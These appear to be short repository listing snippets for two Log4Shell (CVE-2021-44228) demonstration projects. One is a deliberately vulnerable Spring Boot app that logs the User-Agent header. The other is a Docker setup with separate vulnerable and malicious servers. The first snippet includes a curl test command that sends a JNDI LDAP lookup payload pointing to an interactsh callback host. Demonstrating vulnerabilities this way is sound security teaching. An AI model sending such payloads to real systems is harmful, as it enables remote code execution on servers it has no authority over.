log4shell-demo

Simple Spring Boot application which is vulnerable to Log4Shell CVE-2021-44228 Changed default logging framework from logback to log4j2 Application logs 'User-Agent' header, so one can test vulnerability with curl and e.g. interactsh-service: curl -A '$jndi:ldap://interactsh-url/a'...

Log4Shell-demo

Log4Shell in action This project aims to demonstrate how the Log4Shell / CVE-2021-44228 vulnerability works. Requirements You only need to have Docker installed. Ideally you have two different virtual machines. One for the vulnerable server and one for the malicious server that will host the...